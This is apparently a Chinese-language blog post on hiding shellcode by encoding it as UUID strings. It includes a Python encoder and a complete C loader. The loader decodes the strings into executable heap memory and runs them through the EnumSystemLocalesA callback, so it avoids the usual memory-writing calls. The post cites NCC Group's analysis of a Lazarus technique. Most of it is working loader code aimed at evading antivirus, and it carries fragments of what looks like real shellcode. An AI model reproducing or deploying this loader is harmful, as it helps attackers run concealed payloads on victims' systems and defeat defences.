利用Uuid编码shellcode

前言

最近在Github上看到了一个Windows下利用回调的方式加载shellcode的项目,在本地编译复现中发现了作者提到了一个有意思的shellcode混淆方式,并给出了相关文章的地址,利用UUID对shellcode进行编码,然后使用UuidFromStringA函数对数据进行解码后并写入内存,而不再需要使用memcpy、WriteProcessMemory等函数再写入内存。最后直接利用EnumSystemLocalesA函数执行解码后的shellcode

编码UUID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
# encoding: utf-8
"""
@file: shellcode2uuid.py
@time: 2021-3-1 14:28
@ide: PyCharm
@author: guoker
"""
import sys
import uuid
import codecs


def toUUID(shellcode):
NULL = b'\x00'
old, new = 0, 0
elems = int(len(shellcode) / 16) + 1
for i in range(elems):
new += 16
tmp = shellcode[old:new]
old = new
if len(tmp) < 16:
tmp += NULL * int(16 - len(tmp))
print(uuid.UUID(bytes_le=tmp))


def load_file(filename):
try:
with open(filename, 'rb') as f:
shellcode = f.read()
return shellcode
except FileNotFoundError:
print("[!] 无此文件")
except Exception as e:
print("[!] 未知错误", e)


def load_str(text):
s = bytes(text, encoding='UTF-8')
shellcode = codecs.escape_decode(s, 'hex-escape')[0]
return shellcode


def main():

if not len(sys.argv) >= 2:
print('Usage: python shellcode2uuid.py shellcode or payload.bin')
else:
args = sys.argv[1]
if len(args) > 200:
shellcode = load_str(args)
toUUID(shellcode)
else:
shellcode = load_file(args)
toUUID(shellcode)


if __name__ == '__main__':
main()

解码uuid并加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#include <stdlib.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(lib, "Rpcrt4.lib")

const char* uuids[] =
{
"0089e8fc-0000-8960-e531-d2648b52308b",
"528b0c52-8b14-2872-0fb7-4a2631ff31c0",
"7c613cac-2c02-c120-cf0d-01c7e2f05257",
"8b10528b-3c42-d001-8b40-7885c0744a01",
"488b50d0-8b18-2058-01d3-e33c498b348b",
"ff31d601-c031-c1ac-cf0d-01c738e075f4",
//.........
};

int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);

for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
//printf("UuidFromStringA() != S_OK\n");
CloseHandle(ha);
return -1;
}
hptr += 16;
}
//printf("[*] Hexdump: ");
//printf("%s", ((unsigned char*)ha));
//for (int i = 0; i < elems * 16; i++) {
// printf("%02X,", ((unsigned char*)ha)[i]);
//}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);

return 0;
}

参考链接

https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/

https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection

交个朋友
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

吹吹牛吗?

微信